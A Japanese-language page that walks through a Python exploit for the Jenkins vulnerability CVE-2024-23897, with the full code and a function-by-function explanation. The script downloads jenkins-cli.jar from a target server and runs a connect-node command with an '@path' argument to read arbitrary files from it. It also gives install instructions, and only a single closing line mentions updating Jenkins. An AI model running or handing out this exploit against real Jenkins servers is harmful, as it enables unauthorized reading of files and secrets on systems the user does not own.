
Jenkins を侵害する Python 製エクスプロイト

パラメータ ip、puerto、ruta

エクスプロイトの出力

ヘルプパネル
コードの説明をMarkdownで以下に示します。
このスクリプトは、Jenkins(CVE-2024-23897)の特定の脆弱性を悪用するために設計されています。JenkinsサーバーからJARファイルをダウンロードし、Jenkinsノードに接続するためのペイロードを実行します。以下、コードの各部分を説明します。
import argparse
import requests
import os
import subprocess
import sys
argparse: コマンドライン引数を処理するため。requests: HTTPリクエストを行うため。os: オペレーティングシステムと対話するため。subprocess: システムコマンドを実行するため。sys: Pythonインタプリタと対話するため。banner 関数def banner():
"""
ツールの装飾バナーを表示します。
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \| ___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
この関数はスクリプトの開始時に装飾バナーを表示します。
descargar_jar 関数def descargar_jar(ip, puerto):
"""
指定されたJenkinsサーバーからjenkins-cli.jarファイルをダウンロードします。
Args:
ip (str): JenkinsサーバーのIPアドレス。
puerto (str): Jenkinsサーバーのポート。
Returns:
bool: ダウンロード成功時はTrue、失敗時はFalse。
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] ファイルをダウンロードできませんでした。ステータスコード: {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] リクエスト中にエラーが発生しました: {errorhttp}")
return False
この関数は、指定されたIPアドレスとポートのJenkinsサーバーからjenkins-cli.jarファイルをダウンロードします。ダウンロードが成功するとファイルをシステムに保存しTrueを返し、それ以外の場合はFalseを返します。
attack_payload 関数def attack_payload(ip, puerto, ruta):
"""
Jenkinsノードに接続するためのペイロードを実行します。
Args:
ip (str): JenkinsサーバーのIPアドレス。
puerto (str): Jenkinsサーバーのポート。
ruta (str): 読み取るファイルのパス。
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] ノード接続の試行中にエラーが発生しました: {error_payload}\n")
この関数はjenkins-cli.jarファイルを使用してJenkinsノードに接続するコマンドを実行します。コマンド実行後、JARファイルを削除します。実行中にエラーが発生すると、エラーメッセージを表示します。
main 関数def main():
"""
引数を解析し、対応する関数を実行するメイン関数。
"""
parser = argparse.ArgumentParser(description="\n[+] CVE-2024-23897を悪用するエクスプロイト\n")
parser.add_argument("ip", type=str, help="\n[+] JenkinsサーバーのIPアドレス\n")
parser.add_argument("puerto", type=str, help="\n[+] Jenkinsサーバーのポート\n")
parser.add_argument("ruta", type=str, help="\n[+] 読み取るファイルのパス\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
スクリプトのメイン関数:
ip、puerto、ruta)を解析します。banner関数を呼び出してバナーを表示します。descargar_jar関数を呼び出してJARファイルをダウンロードします。attack_payload関数を呼び出してペイロードを実行し、失敗した場合は終了コード1でスクリプトを終了します。if __name__ == '__main__':
main()
このブロックは、スクリプトが直接実行された場合(モジュールとしてインポートされた場合ではない)にのみmain関数が実行されるようにします。
このスクリプトは、Jenkinsの脆弱性を悪用するためのツールです。JenkinsサーバーからJARファイルをダウンロードし、そのファイルを使用してJenkinsノードに接続するペイロードを実行します。必要な引数(ip、puerto、ruta)はコマンドラインから指定します。
以下に必要なライブラリとpip installコマンドの一覧を示します。
argparse: このライブラリはPython標準ライブラリに含まれているため、インストールは不要です。
requests: HTTPリクエストを行うため。
pip install requests
os: このライブラリはPython標準ライブラリに含まれているため、インストールは不要です。
subprocess: このライブラリはPython標準ライブラリに含まれているため、インストールは不要です。
sys: このライブラリはPython標準ライブラリに含まれているため、インストールは不要です。
pip install requests
@/path/to/fileを含むCLIコマンドをJenkinsに送信する。@/path/to/fileを解釈し、指定されたファイルの内容でその引数を置き換える。Jenkinsを適切にアップデートし設定することは、この脆弱性からシステムを保護するために重要です。
